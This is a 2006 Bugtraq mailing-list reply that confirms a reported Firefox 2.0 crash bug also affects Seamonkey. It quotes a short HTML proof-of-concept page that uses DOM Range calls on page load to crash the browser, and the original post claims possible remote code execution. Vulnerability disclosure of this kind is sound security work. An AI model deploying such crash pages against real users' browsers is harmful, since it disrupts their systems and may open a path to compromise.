bugtraq - Re: New Flaw in Firefox 2.0: DoS and possible remote code execution

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Date: Mon, 27 Nov 2006 08:43:04 +0100
From: sflist@....de
To: bugtraq@...urityfocus.com
Subject: Re: New Flaw in Firefox 2.0: DoS and possible remote code  execution

Also crashes Seamonkey 1.1b on Suse 10.1

>
>
> New Flaw in Firefox 2.0: DoS and possible remote code execution
>
> PoC here: http://werterxyz.altervista.org/Firefox2Range.htm
>
> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> 
> <head> <script type="text/javascript"> function do_crash() { var 
> range;
>
> range = document.createRange();
> range.selectNode(document.firstChild);
> range.createContextualFragment('<span></span>');
> }
> </script>
> </head>
> <body onload="do_crash()">
> <p>Good bye Firefox!</p>
> </body>
> </html>
>


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